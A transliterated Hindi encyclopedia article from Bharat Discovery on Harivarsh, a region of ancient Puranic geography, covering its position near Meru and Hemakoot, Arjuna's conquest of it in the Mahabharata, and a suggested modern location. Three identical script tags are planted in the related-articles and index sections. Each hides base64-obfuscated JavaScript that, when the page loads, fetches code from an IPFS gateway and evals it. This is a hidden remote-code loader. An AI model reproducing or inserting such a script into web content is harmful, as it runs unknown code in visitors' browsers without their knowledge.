हरिवर्ष

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search

harivarsh prachin bhoogol ke anusar janboodvip ka ek bhag ya varsh.

  • vishnu puran ke varnan mean janboodvipak adhishvar raja agnidhr ke nau putroan mean harivarsh ka bhi nam hai.
  • isake nam par hi sanbhavatah harivarsh bhookhand ka nam prasiddh hua.[1] yahaan nishadh parvat sthit tha.
  • harivarsh ka meru parvat ke dakshin ki or mana gaya hai.
  • isake tatha bharat ke bich mean kianpurushavarsh sthit tha-‘bharatan pratham varsh tatah kianpurushansmritamh, harivarsh tathaivanyanmerordakshinato dvij’.[2]
  • mahabharat sabhaparv mean harivarsh ko malasarovar, gandharvoan ke desh aur hemakoot parvat ( kailash ) ke uttar mean sthit mana gaya hai.
  • arjun ne apani digvijay yatra ke prasang mean is desh ko bhi vijit kiya tha.
  • yahaan unhoanne bahut se manoram nagar, suandar van tatha nirmal jal vali nadiyaan dekhi thian.
  • yahaan ke stri-purush bahut suandar the tatha bhoomi ratnaprasava thi.
  • yahaan arjun ne nishadh parvat ko bhi dekha tha.

-‘sare manasamasady myavishath phalgunastathi,
tan hemakoot rajendr samatikamy paandavah,
havirsh viveshashr,
saijnen mahatavritah tatr partho dadarshath bahooni hi manoramanh,
nasaraanin vanadichaiv madishch vimalodakaah,
tanh sarvashch drishtva mudayukto dharmajayah,
vashechakeatharatnani lebhe ch subahooni ch,
tato nishadhamasady girisvanajayath prabhuah’.[3]

  • mahabharat[4] mean hemakoot ke pare harivarsh ki sthiti bataee gee hai-‘hemakootath paran chaiv harivarsh prachakshate’.
  • hemakoot ko kailash parvat mana gaya hai- ‘hemakootastu samuhanh kailaso nam parvatah’.[5]
  • prasang se harivarsh uttari tibbat tatha dakshini chin ka samipavarti bhookhrand jan p data hai.
  • vartaman shikyaang ka pradesh hai jo pahale chini turkistan kahalata tha.
  • mahabharat ke harivarsh ke uttar mean ilavrit ka ullekh hai jise jamboodvip ka madhy bhag bataya gaya hai.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. vishnu॰ 2,1,16
  2. vishnu॰ 2,2,12
  3. mahabharat sabhaparv 28,5 tatha age dakshinasy path
  4. bhishm. 6,8
  5. bhishm 6,41

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>